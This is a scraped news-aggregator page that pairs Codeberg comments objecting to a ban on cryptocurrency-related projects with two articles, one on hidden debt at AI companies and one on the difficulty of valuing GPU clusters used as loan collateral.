I don’t even un­der­stand the logic be­hind this? Because some cryp­tocur­ren­cies are shady and bad, every sin­gle crypto pro­ject should not be al­lowed onto Codeberg? What if some­one is study­ing blockchains and want to im­ple­ment their own crypto? This is ex­tremely in­sane to me.

I don’t even un­der­stand the logic be­hind this? Because some cryp­tocur­ren­cies are shady and bad, every sin­gle crypto pro­ject should not be al­lowed onto Codeberg? What if some­one is study­ing blockchains and want to im­ple­ment their own crypto? This is ex­tremely in­sane to me.

First-time con­trib­u­tor

Copy link

I’m sure you have some morally high rea­sons to stand against cryp­tocur­rency, but the illicit trade” and evasion of sanc­tions” cited by source­hut (since you seem to base your de­ci­sion on it) are also what al­lows reg­u­lar peo­ple, in­clud­ing LGBTQ+ peo­ple, liv­ing in sanc­tioned coun­tries (which also, what a sur­prise, turn out to be un­safe for LGBTQ+ folk a lot of the time), to buy goods and send/​re­ceive money from abroad with­out be­ing pros­e­cuted by their gov­ern­ments (hi for­eign agent laws! hi extremism” and terrorism” laws!).

I’m sorry, anti-war trans­gen­der per­son stuck in Russia, but from our moral stance, you should­n’t be able to pur­chase HRT from a lab us­ing your XMR wal­let. nor should your friend be able to pay for their for­eign VPN VDS that they use to by­pass the in­ter­net re­stric­tions in USDT. the pro­jects you used for this were hosted on Codeberg and not some other plat­form? well, too bad, they’ll have to go some­place else that minds your ex­is­tence or is wel­com­ing to cryp­tocur­rency as a whole, and you will wait. you and the tools you use will move to a greedy cor­po­rate host­ing that is likely to im­pose its own re­stric­tions on you in the fu­ture, or, even bet­ter, move to a less re­li­able self-hosted op­tion, one per each tool to make it less main­tain­able and less ac­ces­si­ble.

by tak­ing this stance, at least from my per­spec­tive, you’re just pro­ject­ing your morally high delu­sion of dirty il­licit 3rd world crypto scam­mers that are dam­ag­ing the moral pu­rity of Codeberg by… host­ing code for their pro­jects here?! which, mind you, al­most all the time will just con­tain tools, tools to do good or bad. do you want to ban BitTorrent-related pro­jects from Codeberg next be­cause they are mostly used to get il­le­gal ac­cess to un­li­censed dig­i­tal goods and ser­vices (piracy)” and also take up world band­width and com­pute? how about ban­ning YouTube down­load­ers af­ter those? hey, let’s make it clear that Codeberg will not stand a sin­gle repo on its plat­form that in­volves en­crypted mes­sag­ing: you know only crim­i­nals use Matrix, right?

I’m sure you have some morally high rea­sons to stand against cryp­tocur­rency, but the illicit trade” and evasion of sanc­tions” cited by source­hut (since you seem to base your de­ci­sion on it) are also what al­lows reg­u­lar peo­ple, in­clud­ing LGBTQ+ peo­ple, liv­ing in sanc­tioned coun­tries (which also, what a sur­prise, turn out to be un­safe for LGBTQ+ folk a lot of the time), to buy goods and send/​re­ceive money from abroad with­out be­ing pros­e­cuted by their gov­ern­ments (hi for­eign agent laws! hi extremism” and terrorism” laws!).

I’m sorry, anti-war trans­gen­der per­son stuck in Russia, but from our moral stance, you should­n’t be able to pur­chase HRT from a lab us­ing your XMR wal­let. nor should your friend be able to pay for their for­eign VPN VDS that they use to by­pass the in­ter­net re­stric­tions in USDT. the pro­jects you used for this were hosted on Codeberg and not some other plat­form? well, too bad, they’ll have to go some­place else that minds your ex­is­tence or is wel­com­ing to cryp­tocur­rency as a whole, and you will wait. you and the tools you use will move to a greedy cor­po­rate host­ing that is likely to im­pose its own re­stric­tions on you in the fu­ture, or, even bet­ter, move to a less re­li­able self-hosted op­tion, one per each tool to make it less main­tain­able and less ac­ces­si­ble.

by tak­ing this stance, at least from my per­spec­tive, you’re just pro­ject­ing your morally high delu­sion of dirty il­licit 3rd world crypto scam­mers that are dam­ag­ing the moral pu­rity of Codeberg by… host­ing code for their pro­jects here?! which, mind you, al­most all the time will just con­tain tools, *tools* to do good or bad. do you want to ban BitTorrent-related pro­jects from Codeberg next be­cause they are mostly used to get il­le­gal ac­cess to un­li­censed dig­i­tal goods and ser­vices (piracy)” and also take up world band­width and com­pute? how about ban­ning YouTube down­load­ers af­ter those? hey, let’s make it clear that Codeberg will not stand a sin­gle repo on its plat­form that in­volves en­crypted mes­sag­ing: you know only crim­i­nals use Matrix, right?

First-time con­trib­u­tor

Copy link

The vague­ness of the term such as cryp­tocur­rency re­lated pro­jects.” has ma­te­ri­ally dam­aged Codebergs rep­u­ta­tion in my eyes, and given the com­ments above, I am not alone. Therefore un­der its own con­struc­tion that Content that harms the rep­u­ta­tion of Codeberg” should have been self de­feat­ing and not al­lowed un­der its own pol­icy.

Examples of POTENTIAL crytpocurrency re­lated pro­jects”:

ZK Proof Libraries.

Blake and SHA HASH Libraries.

PQ Crypto, ED25519 or ECDSA (secp256k1)

ANYTHING to do with LibP2P or sim­i­lar li­braries.

ANYTHING to do with BFT Consensus or other con­sen­sus al­go­rithms.

So The only safe pol­icy is to as­sume that Codeberg is ba­si­cally anti-cryp­tog­ra­phy. Because most all cryp­tog­ra­phy at some level of re­la­tion­ship be­comes a cryptocurrency re­lated pro­ject”.

And in who’s view is the rep­u­ta­tional dam­age judged? An opaque se­lect com­mit­tee? Corporate spon­sors? The rule is sim­ply po­lit­i­cal cover for Codeberg to say We don’t like you even though your code is le­gal, see our TermsOfUse which says, po­lit­i­cally ac­cept­able pro­jects are OK, and we de­fine what is po­lit­i­cally ac­cept­able, and what­ever cryptocurrency re­lated pro­jects’ mean are not po­lit­i­cally ac­cept­able, and so might other un­de­fined stuff we haven’t de­cided on yet.”

Needless to say, I wont be adding any more pro­jects to Codeberg and I will move away from it as a plat­form. To be clear none of them are Cryptocurrency re­lated” by my in­ter­pre­ta­tion, but hey, I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

The vague­ness of the term such as cryp­tocur­rency re­lated pro­jects.” has ma­te­ri­ally dam­aged Codebergs rep­u­ta­tion in my eyes, and given the com­ments above, I am not alone. Therefore un­der its own con­struc­tion that Content that harms the rep­u­ta­tion of Codeberg” should have been self de­feat­ing and not al­lowed un­der its own pol­icy.

Examples of POTENTIAL crytpocurrency re­lated pro­jects”: * ZK Proof Libraries. * Blake and SHA HASH Libraries. * PQ Crypto, ED25519 or ECDSA (secp256k1) * ANYTHING to do with LibP2P or sim­i­lar li­braries. * ANYTHING to do with BFT Consensus or other con­sen­sus al­go­rithms.

So The only safe pol­icy is to as­sume that Codeberg is ba­si­cally anti-cryp­tog­ra­phy. Because most all cryp­tog­ra­phy at some level of re­la­tion­ship be­comes a cryptocurrency re­lated pro­ject”.

And in who’s view is the rep­u­ta­tional dam­age judged? An opaque se­lect com­mit­tee? Corporate spon­sors? The rule is sim­ply po­lit­i­cal cover for Codeberg to say We don’t like you even though your code is le­gal, see our TermsOfUse which says, po­lit­i­cally ac­cept­able pro­jects are OK, and we de­fine what is po­lit­i­cally ac­cept­able, and what­ever cryptocurrency re­lated pro­jects’ mean are not po­lit­i­cally ac­cept­able, and so might other un­de­fined stuff we haven’t de­cided on yet.”

Needless to say, I wont be adding any more pro­jects to Codeberg and I will move away from it as a plat­form. To be clear none of them are Cryptocurrency re­lated” by my in­ter­pre­ta­tion, but hey, I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

First-time con­trib­u­tor

Copy link

@stevenj wrote in #1254 (comment):

And in who’s view is the rep­u­ta­tional dam­age judged?

And in who’s view is the rep­u­ta­tional dam­age judged?

com­mu­nity, lol. AFAIK, any­one could par­tic­i­pate in that poll. so some ran­dom peo­ple that think crypto is bad blah blah blah” can re­ally ruin Codeberg’s rep­u­ta­tion by vot­ing for ban­ning crypto-re­lated pro­jects

@stevenj wrote in https://​code­berg.org/​Code­berg/​org/​pulls/​1254#is­suecom­ment-19918582:

> And in who’s view is the rep­u­ta­tional dam­age judged?

com­mu­nity, lol. AFAIK, any­one could par­tic­i­pate in that poll. so some ran­dom peo­ple that think crypto is bad blah blah blah” can _really_ ruin Codeberg’s rep­u­ta­tion by vot­ing for ban­ning crypto-re­lated pro­jects

First-time con­trib­u­tor

Copy link

@stevenj wrote in #1254 (comment):

I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

to re­ally push this joke fur­ther, let’s go ban Zig as it is used by Solana val­ida­tor soft­ware (the source of most rug­pull meme­coins)!

@stevenj wrote in https://​code­berg.org/​Code­berg/​org/​pulls/​1254#is­suecom­ment-19918582:

> I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

to re­ally push this joke fur­ther, let’s go ban Zig as it is used by [Solana val­ida­tor soft­ware](https://​github.com/​Syn­dica/​sig) (the source of most rug­pull meme­coins)!

AI Companies Are Trying to Hide a Staggering Amount of Debt

futurism.com

Sign up to see the fu­ture, to­day

Sign up to see the fu­ture, to­day

Can’t-miss in­no­va­tions from the bleed­ing edge of sci­ence and tech

AI com­pa­nies are pour­ing un­told bil­lions of dol­lars into enor­mous data cen­ters in their ef­forts to sus­tain in­creas­ingly com­plex and re­source-in­ten­sive AI mod­els.

It’s an ex­tremely costly un­der­tak­ing built on seem­ingly bot­tom­less hype — and a moun­tain of debt. As Japanese fi­nan­cial news­pa­per Nikkei Asia found in a re­cent in­ves­ti­ga­tion, just five US tech gi­ants — Alphabet, Microsoft, Amazon, Meta, and Oracle — are hid­ing an es­ti­mated $1.65 tril­lion in debt that does­n’t ap­pear on bal­ance sheets. That’s even more than the $1.35 tril­lion in debt the five com­pa­nies of­fi­cially re­ported in their fi­nan­cial data for the most re­cent quar­ter.

Meta alone has amassed around $420 bil­lion in off-bal­ance-sheet debt, ac­cord­ing to Nikkei, high­light­ing how pre­car­i­ous the AI in­dus­try’s steep in­vest­ment in AI has be­come, and in­spir­ing com­par­isons to en­ergy com­pany Enron, which col­lapsed in spec­tac­u­lar fash­ion in 2001 be­cause of sim­i­lar debts hid­den be­hind shell com­pa­nies. Like Enron, they’re us­ing spe­cial pur­pose ve­hi­cles, or off-bal­ance sheet arrange­ments such as legally dis­tinct sub­sidiaries, as a way to make their fi­nan­cial re­port­ing look health­ier than it ac­tu­ally is — of­ten a glar­ing sign that some­thing is deeply amiss be­hind the scenes.

The ac­count­ing treat­ment it­self is in fash­ion,” tech­ni­cal ac­count­ing con­sul­tant Tom Selling told Bloomberg. But what if one of these com­pa­nies was a house of cards and was prop­ping it­self up with this ac­count­ing treat­ment? To me, that’s the risk.”

Experts con­tinue to warn of an AI bub­ble, not­ing the enor­mous and widen­ing gulf be­tween com­pany val­u­a­tions and their com­par­a­tively measly prof­its. The lat­est news will do lit­tle to quiet crit­ics who say the sit­u­a­tion is more dire than the com­pa­nies’ of­fi­cial bal­ance sheets sug­gest.

To keep up with the on­go­ing AI race, tech gi­ants are com­mit­ting vast sums to build out large-scale data cen­ter pro­jects, a long-term bet that may — or may not — pay off. They’re also sell­ing new shares to raise new funds, as Nikkei re­ports, which could lead to eq­uity di­lu­tion and a drop in in­vestor con­fi­dence.

That could make them even more vul­ner­a­ble if the AI bub­ble does pop, or the in­dus­try fails to gen­er­ate enough de­mand to jus­tify the data cen­ter con­struc­tion frenzy.

The pres­sure is on: four of the five com­pa­nies Nikkei an­a­lyzed are set to re­port sec­ond quar­ter earn­ings in the com­ing days and weeks. We’ll be watch­ing.

More on the AI bub­ble: There’s a Gigantic Problem at the Heart of the AI Industry That Could Cause the Whole Thing to Collapse

Nobody knows what a used GPU cluster is worth

ciphertalk.substack.com

If xAI de­faults on its debt, Apollo Global Management ends up in the GPU rental busi­ness. That is in the con­tract, signed in June 2025, on a five bil­lion dol­lar debt fa­cil­ity arranged by Morgan Stanley. The lenders have the right to take over Colossus, the com­pa­ny’s 200,000 GPU clus­ter out­side Memphis, and rent it to other AI com­pa­nies un­til the loan is re­paid.

It’s in­ter­est­ing whether Apollo, or Diameter Capital Partners, or any of the other lenders now fi­nanc­ing the AI build­out this way, would want to ex­er­cise that right.

The harder ques­tion is what they would ac­tu­ally be hold­ing if they did.

A GPU clus­ter bears lit­tle re­sem­blance to a build­ing. Its value at any given mo­ment de­pends on how it has been pro­vi­sioned, how it is cur­rently per­form­ing, and whether the team that knows its quirks is still there. All of that sits off the lender’s bal­ance sheet, be­yond the reach of any­one they can call.

This is one of the cen­ter prob­lems of the AI in­fra­struc­ture boom. I can­not de­ter­mine why no one is talk­ing about it. Tens of bil­lions of dol­lars in debt is now col­lat­er­al­ized by chips whose value de­pends on op­er­a­tional state, and the op­er­a­tional state is in­vis­i­ble to the peo­ple pric­ing the debt.

This week’s CipherTalk is about what hap­pens to a spe­cific kind of debt when the col­lat­eral it­self can walk out the door with the op­er­a­tions team.

At the scale these GPU clus­ters op­er­ate, hard­ware and sys­tems break con­stantly. Keeping them pro­duc­tive is a craft.

Modern data cen­ter GPUs fail at roughly 9% an­nu­ally. The num­ber traces to Meta’s Llama 3 tech­ni­cal re­port, which doc­u­mented 419 un­fore­seen dis­rup­tions across 16,384 H100s over 54 days of train­ing, of which 148 were GPU fail­ures and 72 were HBM3 mem­ory fail­ures. At 200,000 GPUs, that an­nu­al­ized rate works out to ap­prox­i­mately 50 GPU fail­ures every day. At xAI’s stated mil­lion-GPU tar­get, Epoch AI pro­jects a fail­ure roughly every three min­utes. These are not cat­a­strophic events. They are the steady state.

The fail­ure modes that mat­ter for a credit per­son are the ones that do not look like fail­ures. Silent data cor­rup­tion (SDC) is the most ex­pen­sive, where a faulty GPU pro­duces wrong an­swers with­out crash­ing any­thing, which means a multi-day train­ing run can com­plete nor­mally and the re­sult­ing model weights are qui­etly poi­soned. Cascading fail­ures are the sec­ond cat­e­gory, where one bad GPU crashes a train­ing job spread across thou­sands of oth­ers, cost­ing days of com­pute. Then there are the rou­tine ones: ther­mal throt­tle, ECC mem­ory er­rors, NVLink flap, GPUs falling off the bus.

NVIDIA built NVSentinel be­cause tra­di­tional mon­i­tor­ing de­tects these prob­lems but rarely fixes them. Crusoe built AutoClusters be­cause queue wait time is the largest con­trol­lable vari­able in clus­ter good­put. Without these tools, re­me­di­a­tion time­lines run hours to days.

The job of an op­er­a­tions team is to keep all of this in steady state. They know which racks run hot in sum­mer, which cool­ing loops have been flaky since the last firmware up­date, which jobs to re-route when a node de­grades but has not failed yet. None of that knowl­edge is writ­ten down. It lives in the team.

This is the as­set that serves as col­lat­eral for tens of bil­lions of dol­lars in debt and count­ing.

Share

In the last eigh­teen months, AI in­fra­struc­ture went from be­ing fi­nanced by cor­po­rate debt, to be­ing fi­nanced by the chips them­selves.

The xAI Colossus 2 SPV is the clean­est ex­am­ple. The struc­ture is roughly $7.5 bil­lion in eq­uity, with up to $2 bil­lion of that con­tributed by NVIDIA it­self, and $12.5 bil­lion in debt. The spe­cial pur­pose ve­hi­cle (SPV) pur­chases NVIDIA GPUs and leases them to xAI on a five-year term. Apollo and Diameter sit on the debt tranche. Valor Equity Partners leads the eq­uity. The debt is col­lat­er­al­ized by the chips, not by xAI’s broader bal­ance sheet.

Look at the pric­ing: xAI’s $5B round was priced at up to 12.5%. CoreWeave’s GPU-backed deals priced at roughly 8.5% above the bench­mark rate, be­fore terms tight­ened as lenders got more com­fort­able with the struc­ture.

If we as­sume here these are not un­so­phis­ti­cated lenders, then we have to as­sume they are charg­ing what they think the risk costs. The pre­mium is then, the price of guess­ing.

The scope is wider than one com­pany. CoreWeave alone holds $18.8 bil­lion in GPU-collateralized debt across mul­ti­ple SPVs. FluidStack’s $50 bil­lion deal with Anthropic uses a dif­fer­ent wrap­per, with Google pro­vid­ing a back­stop on the lease pay­ments, but the un­der­ly­ing logic is the same.

Every neo­cloud and most ma­jor AI labs are now fi­nanced this way.

Every other ma­jor as­set class that gets used as col­lat­eral at this scale has decades of price dis­cov­ery in­fra­struc­ture be­hind it. GPUs have al­most none of it.

Aircraft have ISTAT-certified ap­prais­ers, a global reg­istry, stan­dard­ized main­te­nance logs, ferry pi­lots, and an ac­tive sec­ondary mar­ket dat­ing back to the 1970s. Ships have BICA. Cars have NADA. Class A of­fice space has stan­dard­ized cap rates and va­cancy comps. Oil has had a for­ward curve since the early 1980s.

GPUs have Silicon Data’s H100 Rental Index on Bloomberg ter­mi­nals, which launched in 2024, and Ornn AI, which raised $5.7 mil­lion in October 2025 to build the first reg­u­lated ex­change for GPU com­pute de­riv­a­tives. That is the en­tire price dis­cov­ery in­fra­struc­ture for an as­set class now back­ing tens of bil­lions of dol­lars in debt.

The price moves un­der­neath all of this are wild. H100 hourly rental rates went from roughly $8 per hour in early 2024 to $1.70 by October 2025, then surged 40% back up to $2.35 by March 2026 on a wave of in­fer­ence de­mand no­body had priced in. SemiAnalysis put it bluntly: lenders who used six-year de­pre­ci­a­tion sched­ules now look smarter than the an­a­lysts who chas­tised them for be­ing too gen­er­ous. They were guess­ing, and they hap­pened to land closer to the right an­swer than the peo­ple call­ing them reck­less. No air­craft lender or ship­ping lender would un­der­write five-year debt against an as­set whose price swings like that with­out a way to hedge it. They would not be al­lowed to.

CoreWeave’s GPU-backed loans price at roughly 8.5 per­cent­age points above the bench­mark rate. For com­par­i­son, a typ­i­cal air­craft loan prices at 1 to 2 points above bench­mark, and a com­mer­cial mort­gage usu­ally sits be­low that. The ex­tra 6 to 7 points is what lenders charge to bear a risk they can­not mea­sure. There is no GPU fu­tures mar­ket, no stan­dard­ized resid­ual value curve, and no way to lock in a for­ward rental rate. The pre­mium is is the price of un­der­writ­ing in the dark.

Thanks for read­ing CipherTalk! This post is pub­lic so feel free to share it.

Share

That spread should com­press as the mar­ket ma­tures. Hedging in­stru­ments will ap­pear. Residual value curves will get more stan­dard­ized. Secondary mar­kets for used GPUs will deepen. When that hap­pens, the cost of cap­i­tal for AI in­fra­struc­ture drops mean­ing­fully, which changes who can build at scale. The com­pa­nies that ben­e­fit are not the ones with the cheap­est GPUs to­day. They are the ones po­si­tioned to ac­cess cheap debt once the fi­nanc­ing in­fra­struc­ture catches up to the as­set class.

The pub­lic fight over how fast GPUs de­pre­ci­ate is a tell about how con­fi­dent the peo­ple writ­ing the books ac­tu­ally are.

CoreWeave de­pre­ci­ates GPUs over six years. Nebius, with the same busi­ness model and the same hard­ware, de­pre­ci­ates the same chips over four. AWS, Microsoft, and Google all moved their server use­ful-life as­sump­tions from three to four years up to six years in 2023, a change that re­duced re­ported de­pre­ci­a­tion ex­pense by roughly $18 bil­lion an­nu­ally across $300 bil­lion of com­bined capex. CoreWeave made the same ac­count­ing change in January 2023, be­fore go­ing pub­lic, low­er­ing re­ported ex­pense by hun­dreds of mil­lions of dol­lars per year.

NVIDIA an­nounced in 2025 that it is mov­ing from a two-year prod­uct cy­cle to a one-year cy­cle. The chips back­ing all of this debt are about to be­come pre­vi­ous-gen­er­a­tion twice as fast.

Michael Burry’s claim is that hy­per­scalers will cu­mu­la­tively un­der­state de­pre­ci­a­tion by ap­prox­i­mately $176 bil­lion be­tween 2026 and 2028. He pro­jects Oracle will over­state earn­ings by roughly 27% and Meta by roughly 21% by 2028. Burry’s mo­tives aside, the math is in­de­pen­dently check­able. If the true use­ful life of fron­tier-train­ing GPUs is closer to two to four years and the books say six, the gap be­tween pa­per value and re­cov­ery value is real and it is enor­mous. The re­cent in­fer­ence de­mand surge com­pli­cates this. If H100s gen­uinely have pro­duc­tive life past fron­tier train­ing, six years may not be wrong. If de­mand soft­ens again in 2026 or 2027, the write­downs hit at ex­actly the mo­ment lenders need their col­lat­eral to be worth some­thing.

GPU col­lat­eral has three dif­fer­ent val­ues, and the mar­ket is cur­rently pric­ing only one of them.

Face value is what the SPV says, the pur­chase price mi­nus straight-line de­pre­ci­a­tion on what­ever sched­ule the bor­rower picked. This is the num­ber that de­ter­mines loan-to-value covenants and the amount of debt the deal can sup­port.

Liquidation value is what a buyer pays in dis­tress. Secondary mar­ket data shows mod­er­ately-used 2 to 3 year old GPUs trad­ing at 50% to 70% of new pric­ing un­der nor­mal con­di­tions. In a de­fault sce­nario where mul­ti­ple neo­clouds are stressed si­mul­ta­ne­ously, the buyer pool col­lapses at the same mo­ment sup­ply spikes, plau­si­bly putting re­cov­ery at 30% to 50% of face value in a fire sale.

Going-concern value is what the clus­ter is worth as a work­ing as­set to the next ten­ant, which de­pends en­tirely on whether op­er­a­tional hand­off works.

This is where the op­er­a­tional re­al­ity from the first sec­tion re­turns. The lender ex­er­cis­ing step-in rights in­her­its a colo­ca­tion fa­cil­ity owned by some­one else, with that fa­cil­i­ty’s own con­tracts and con­straints. They in­herit cre­den­tials and topol­ogy knowl­edge that his­tor­i­cally lived with the bor­row­er’s op­er­a­tions team, which walked out the door at de­fault. They in­herit a mar­ket where rental rates al­ready moved 60% in one di­rec­tion and 40% back the other in eigh­teen months, with no hedg­ing in­stru­ment avail­able. They in­herit an as­set class where 50 chips a day fail and some­body has to know which racks have been flaky for the last quar­ter.

The spread be­tween face value and go­ing-con­cern value is the en­tire risk that no­body has hedged.

The most telling po­si­tions in this mar­ket are the ones not be­ing taken.

KKR has been the most ag­gres­sive pri­vate eq­uity firm in data cen­ters, with the CyrusOne ac­qui­si­tion along­side Global Infrastructure Partners in 2022 for $15 bil­lion, the Global Technical Realty com­mit­ment in 2026 for $1.5 bil­lion, and the STT GDC deal in February 2026 for $5.1 bil­lion at a 75% stake. KKRs dig­i­tal in­fra­struc­ture book is a cen­tral pil­lar of $186 bil­lion in real as­sets. The firm is not in the AIP con­sor­tium that bought Aligned Data Centers, not in any xAI SPV, and not in CoreWeave’s debt fa­cil­i­ties. KKR owns the build­ings, the power, the cool­ing, and the land, the in­fra­struc­ture layer that holds value re­gard­less of which AI lab wins or which chip gen­er­a­tion dom­i­nates.

Peter Thiel sold his en­tire NVIDIA stake in Q3 2025 and ro­tated into Apple and Microsoft. The chips are not the durable as­set, and the fi­nanc­ing struc­ture pric­ing them as durable will even­tu­ally have to reckon with what the chips ac­tu­ally are.

Aircraft be­came fi­nance­able be­cause some­one built the reg­istry, the ap­prais­ers, and the main­te­nance logs. Ships be­came fi­nance­able be­cause some­one built BICA. The in­ter­est pre­mium on these deals ex­ists be­cause no one can an­swer two ba­sic ques­tions: Is the clus­ter still work­ing? And: Will it still be work­ing in three years?

No posts

Just a moment...

www.axios.com

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

Visit pancik.com for more.